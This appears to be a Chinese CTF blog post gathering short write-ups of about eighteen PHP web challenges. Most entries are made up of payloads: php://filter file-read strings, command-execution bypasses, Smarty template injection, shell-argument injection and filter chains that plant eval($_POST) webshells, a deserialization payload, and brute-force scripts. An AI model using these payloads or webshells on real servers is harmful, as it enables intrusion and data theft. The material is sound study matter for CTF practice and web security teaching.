PHP的奇技淫巧
[BSidesCF 2020]Had a bad day
php伪协议嵌套一些无关的字符不影响文件的读取
payload:
php://filter/read=convert.base64-encode/woofers/resource=index
[CISCN 2019 初赛]Love Math
可利用的函数
base_convert():在任意进制之间转换数字。
hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。
dechex() 函数把十进制数转换为十六进制数。
想要执行的命令:
?c=system("cat /flag")
php支持用变量代替函数:
?c=($_GET[a])($_GET[b])&a=system&b=cat /flag
其中[]可以用{}代替,_GET可用按一下思路构造
_GET => 10进制ascii(用hex2bin) => 16进制ascii(用dechex)
用base_convert构造hex2bin => hex2bin=base_convert(37907361743,10,36)
最后的payload:
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag
[CISCN2019 华东南赛区]Web11
Smarty模板注入
smarty中if标签可以执行php语句
payload:
{if readfile('/flag')}{/if}
[WUSTCTF2020]朴实无华
第一个绕过
intval()处理字符串时会将第一个非数字前面的当做一个数字处理,
构造$num='1e10',在进行+操作时会被转成整数型进行运算,从而实现绕过。
第二个绕过
md5值与自身相等即可,放一个别人的脚本
def run():
i = 0
while True:
text = '0e{}'.format(i)
m = md5(text)
print(text,m)
if m[0:2] == '0e' :
if m[2:].isdigit():
print('find it:',text,":",m)
break
i +=1
run()
第三个绕过
ca\t%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
得到flag。
[网鼎杯 2020 朱雀组]Nmap
先放上参考
利用escapeshellarg()+escapeshellcmd()造成的绕过
传入的参数是:172.17.0.2' -v -d a=1
经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。
最后的payload:
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '
[NPUCTF2020]ReadlezPHP
动态函数的反序列化
直接上payload:
payload:?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
phpinfo中find一个flag就好
[GWCTF 2019]枯燥的抽奖
mt_rand伪随机数,首先生成脚本能识别的序列。
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='L5w6HSyn3X'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print(res)
生成好的东西扔php_mt_seed里跑
再把生成的种子扔脚本里跑
<?php
mt_srand(819101489);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
?>
生成的序列填入,获得flag。
[MRCTF2020]套娃
php在解析url的时候会将某些字符解析成下划线,正则匹配可以用%0a截断。payload:
?b%20u%20p%20t=23333%0a
修改http头进入文件,发现jsfuck,解码得知要post一个参数。
换个http头,用伪协议绕过if
?2333=data:text/plain,todat is a happy day&file=flag.php
还需要将flag.php进行解密后再传入。
<?php
function unchange($v){
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
return $re;
}
$real_flag = unchange('flag.php');
echo base64_encode($real_flag);
?>
最后的payload:
?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=
http头
Client-ip : 127.0.0.1
[FBCTF2019]RCEService
不知道源码哪来的,但它确实有源码。
cat不能直接用,要用/bin/cat
preg_match只能匹配一行,可以采用多行绕过。
payload:
{%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}
或者利用PCRE的最大回溯次数来绕过
放一个p神的文章
payload2:
import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag ","nayi":"' + "a"*(1000000) + '"}'
res = requests.post("url", data={"cmd":payload})
print(res.text)
[Zer0pts2020]Can you guess it?
利用的basename会自动去除非ascii字符造成的绕过。
Fuzz一下先:
import requests
import re
for i in range(0,255):
url ='xxxxx.node3.buuoj.cn/index.php/config.php/{}?source'.format(chr(i))
print(url)
r = requests.get(url)
flag = re.findall("flag\{.*?\}", r.text)
if flag:
print(flag)
break
payload:
/index.php/config.php/%ff?source
[HarekazeCTF2019]encode_and_encode
伪协议没过滤filter,flag可以用Unicode编码绕过,
显示数据的时候用base64绕过。
payload:
{"page":"\u0070\u0068\u0070\u003A\u002F\u002F\u0066\u0069\u006C\u0074\u0065\u0072\u002F\u0063\u006F\u006E\u0076\u0065\u0072\u0074\u002E\u0062\u0061\u0073\u0065\u0036\u0034\u002D\u0065\u006E\u0063\u006F\u0064\u0065\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u003D\u002F\u0066\u006C\u0061\u0067"}
[BJDCTF2020]EzPHP
这个题是真tmd烦
第一层,因为直接解析url中的内容,所以可以直接用urlencode绕过。
第二层,preg_match在末尾没有s的时候会自动忽略%0a,这里可以加一个%0a绕过。
第三层,在REQUEST中,如果POST和GET传入同一个变量,POST的优先级会高于GET,因此可以POST传入纯数字来覆盖GET,注意这里还有把COOKIE给去掉。
第四层,文件内容比较直接用data协议绕过。
第五层,绕过sha1,类似md5可以用数组绕过。
然后是动态函数的构造
$code('', $arg);
等价于
$code(){
$arg;
}
这里可以通过手动闭合大括号达成任意命令执行的目的。
function feng(){
}var_dump(get_defined_vars);//}
然后提示要包含rea1fl4g.php,尝试伪协议加取反绕过。
<?php
$s = 'php://filter/convert.base64-encode/resource=rea1fl4g.php';
echo urlencode(~$s);
[NPUCTF2020]ezinclude
php伪协议读一下flflflflag.php的源码,过滤了data|input|zip,不能直接写马。
利用php < 7.2的特性
向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留
payload:
import requests
from io import BytesIO
url="http://f0af8aa4-9e9c-40a8-9003-175dbc6f69f8.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
payload="<?php phpinfo();?>"
files={
"file":BytesIO(payload.encode())
}
r=requests.post(url=url,files=files,allow_redirects=False)
print(r.text)
打开dir.php得到临时文件名,flag在phpinfo中。
[SUCTF 2018]annonymous
想办法调用匿名函数,原理如下:
匿名函数其实是有真正的名字,为%00lambda_%d(%d格式化为当前进程的第n个匿名函数,n的范围0-999)
写个脚本暴力跑一下
import requests
while True:
r=requests.get('http://url/?func_name=%00lambda_1')
if 'flag' in r.text:
print(r.text)
break
[羊城杯 2020]Blackcat
hash_hmac在进行sha256加密时将遇到数组返回空值,和数组绕过sha256比较的原理相同。
payload:
White-cat-monitor[]=K1ose&Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b&One-ear=;env
[羊城杯 2020]Easyphp2
php://filter伪协议的骚操作,过滤了base64|rot13等常用,但。。。
payload:
1.php://filter/convert.%6%32ase64-encode/resource=GWHT.php (二次url编码绕过)
2.php://filter/read=convert.quoted-printable-encode/resource=GWHT.php (Quoted-printable编码绕过)
3.php://filter/read=convert.iconv.utf-8.utf-16be/resource=GWHT.php (utf系列绕过)
读到源码后把user=pass改为GWHT正常访问,通过字符串拼接直接写马:
count='|echo "<?= eval(\$_POST['shell'])?>" > a.php'
连上之后发现权限不够,找到密码的hash直接爆破,然后用su执行cat flag
printf "GWHTCTF" | su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'
[WMCTF2020]Web Check in 2.0
上一题是filter的读,这个事filter的写,原理类似。出题人的参考
以及这篇及其详细的
还是两种思路,用url编码绕过过滤和直接filter过滤器绕过,但这里过滤了%25,编码绕过时需要fuzz一下找个能用的,
<?php
$char = 'r'; #构造r的二次编码
for ($ascii1 = 0; $ascii1 < 256; $ascii1++) {
for ($ascii2 = 0; $ascii2 < 256; $ascii2++) {
$aaa = '%'.$ascii1.'%'.$ascii2;
if(urldecode(urldecode($aaa)) == $char){
echo $char.': '.$aaa;
echo "\n";
}
}
}
?>
php://filter/write=string.%7%32ot13|cuc cucvasb();|/resource=Cyc1e.php
#Cyc1e.php
<?cuc rkvg();cuc://svygre/jevgr=fgevat.%72bg13|<?php phpinfo();?>|/erfbhepr=Plp1r.cuc
或者组合去拳直接绕过
php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET[1]);?>/resource=Cyc1e.php